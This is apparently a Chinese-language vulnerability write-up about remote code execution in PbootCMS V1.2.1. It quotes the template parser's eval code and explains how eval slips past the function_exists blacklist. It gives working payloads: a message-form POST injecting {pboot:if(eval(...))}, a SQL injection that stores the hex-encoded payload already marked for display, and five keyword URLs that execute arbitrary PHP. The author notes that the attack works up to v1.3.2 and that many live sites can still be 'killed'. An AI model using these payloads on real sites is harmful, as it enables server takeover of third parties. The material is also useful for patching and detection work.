帮助手册文件路径:PbootCMS-V1.2.1\doc\help.chm
文件路径:apps\home\controller\ParserController.php
方法:parserIfLabel(
// 解析IF条件标签
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode',
'get',
'post',
'session',
'cookie'
);
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 如果有危险函数,则不解析该IF
if ($danger) {
continue;
} else {
$matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
...
}
return $content;
}
可以看得到这里有个使用了个eval 函数 可以通过手册提供的IF标签来执行代码
{pboot:if(php code)}!!!{/pboot:if}
这里的话有个比较骚的地方,就是他用了 函数 function_exists 来判断是否给定义了函数。一般来说,这样就稳了,但是总是有意外的吗,看到这个函数的时候就知道怎么搞了,直接使用 eval 就可以绕过他function_exists 函数会返回false 这样$danger 就不会为true 不为true就可以任意执行代码了。
eval 是一个语言结构器,而function_exists 不可解析 所以直接返回了false
而漏洞触发点很多一共5处
只要前台使用了 parserAfter 方法 并且 $content 内容是我们可控即可造成任意命令执行
url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
post:
contacts = P测试
mobile = 18218545644
content = {pboot:if(eval($_POST[1]))}!!!{/pboot:if}
checkcode = 验证码
提交以后去后台
这里在实战利用的时候有一个很关键的问题。就是需要管理员点击显示。那不是很没用了么?
除非我们可以找到一个注入让他在入库的时候就修改为前端可显示的状态。
还记得我们前面 0x08.1 的留言处sql注入么。利用它就可以直接在前台显示,造成命令执行了
url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
post:
contacts[acode`,`mobile`,`content`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('cn','1',0x7B70626F6F743A6966286576616C28245F504F53545B315D29297D2121217B2F70626F6F743A69667D,'1','1','1','1','1','1','1','1','1'); -- a] = 1
mobile = 1
content = 1
这样就可以直接命令执行了,让他无限制
看起来好像很多其实都是就是一处 : )
http://127.0.0.1/cms/PbootCMS/index.php/index/index?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
http://127.0.0.1/cms/PbootCMS/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
http://127.0.0.1/cms/PbootCMS/index.php/List/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
http://127.0.0.1/cms/PbootCMS/index.php/About/1?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
http://127.0.0.1/cms/PbootCMS/index.php/Search/index?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
在准备发布的时候,我又测了一波发现是可以一路杀到 PbootCMS v1.3.2 的,官网现在的版本是 1.3.3 所以能杀的站还是很多的。